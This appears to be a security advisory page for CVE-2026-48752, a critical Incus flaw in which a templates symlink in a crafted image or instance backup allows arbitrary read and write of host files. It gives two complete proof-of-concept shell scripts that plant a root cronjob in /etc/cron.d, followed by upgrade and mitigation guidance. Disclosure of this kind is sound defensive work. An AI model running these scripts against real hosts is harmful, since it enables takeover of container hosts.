CVE-2026-48752: Incus has arbitrary file read+write on host via templates/ symlink in malicious image
Summary
A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Details
For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath, ...). The tar extraction path in shared/archive/archive.go excludes device nodes, but it does not reject a top-level templates symlink.
For instance backups, internal/server/storage/drivers/driverdirvolumes.go:rsync.LocalCopy uses argument -a (archive mode), but does not add --safe-links. This allows a top-level templates symlink.
In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.
PoC
Malicious container image
Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.
#!/bin/sh set -eu
tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs" ln -s /etc/cron.d "${tmpdir}/img/templates" cat<<EOF>"${tmpdir}/img/metadata.yaml" architecture: x8664 creationdate: 1 properties: description: PoC templates symlink host afrw EOF
cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c >../afrw-image-templates-symlink.tar incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink incus init afrw-image-templates-symlink afrw-image-templates-symlink
incus config template ls afrw-image-templates-symlink
read #incus config template show afrw-image-templates-symlink $FILENAME
write printf " root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32 #incus config template edit afrw-image-templates-symlink poc
Malicious instance backup
Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.
#!/bin/sh set -eu
tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/backup" cat<<EOF>"${tmpdir}/img/backup/index.yaml" name: afrw-backup-templates-symlink backend: dir pool: default type: container optimized: false EOF
mkdir "${tmpdir}/img/backup/container" cat<<EOF>"${tmpdir}/img/backup/container/backup.yaml" container: name: afrw-backup-templates-symlink architecture: x8664 type: container status: Stopped statuscode: 102 stateful: false ephemeral: false profiles: - default config: volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5 volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49 expandedconfig: volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5 volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49 devices: {} expandeddevices: root: path: / pool: default type: disk createdat: "2024-01-01T00:00:00Z" lastusedat: "2024-01-01T00:00:00Z" volume: name: afrw-backup-templates-symlink type: container contenttype: filesystem config: {} pool: name: default driver: dir config: {} EOF
cat<<EOF>"${tmpdir}/img/backup/container/metadata.yaml" architecture: x8664 creationdate: 1 properties: description: afrw-backup-templates-symlink EOF
mkdir "${tmpdir}/img/backup/container/rootfs" ln -s /etc/cron.d "${tmpdir}/img/backup/container/templates"
cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar incus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink
incus config template ls afrw-backup-templates-symlink
read #incus config template show afrw-backup-templates-symlink $FILENAME
write printf " root sh -c 'id>/pwned'\n" | incus config template create afrw-backup-templates-symlink poc-32 #incus config template edit afrw-templates-symlink poc
Impact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
Other sources
Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 patches the issue.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/lxc/incus/v7/cmd/incusdto a version that resolves this vulnerability.Fixed in 7.2.0 - Upgrade
Upgrade
alpine/incusto a version that resolves this vulnerability.Fixed in 7.0.1-r0 - Upgrade
Upgrade
debian/incusto a version that resolves this vulnerability.Fixed in 6.0.4-2+deb13u8 - Upgrade
Upgrade
debian/incusto a version that resolves this vulnerability.Fixed in 7.0.0-5 - Upgrade
Upgrade
debian/lxdto a version that resolves this vulnerability.Fixed in 5.0.2+git20231211.1364ae4-9+deb13u7 - Upgrade
Upgrade
debian/incusto a version that resolves this vulnerability.Fixed in 6.0.4-2+deb13u10Fixed in 6.0.4-2+deb13u12Fixed in 7.0.2-3 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 7.2.0 - Compensating control
If you cannot upgrade immediately, treat specially crafted Incus container images or instance backups as untrusted and do not import/initialize them (these can abuse an unsanitized top-level templates symlink to read or write arbitrary host files, potentially leading to command execution).
- Operational
Review for and remove any host files that may have been created or modified via the malicious image/backup, especially files under host cron directories that could enable scheduled execution (e.g., mappings to /etc/cron.d as shown in the PoC).
Event History
Frequently Asked Questions
What is the severity of CVE-2026-48752?
CVE-2026-48752 has a critical severity rating of 9.9.
How do I fix CVE-2026-48752?
To fix CVE-2026-48752, update your container images to the patched version that addresses the vulnerability.
What are the potential impacts of CVE-2026-48752?
CVE-2026-48752 can lead to arbitrary file read or write operations on the host, potentially allowing for arbitrary command execution.
What is the exploit vector for CVE-2026-48752?
CVE-2026-48752 can be exploited via specially crafted image files or instance backups.
In which software is CVE-2026-48752 found?
CVE-2026-48752 is found in the go/github.com/lxc/incus/v7/cmd/incusd software.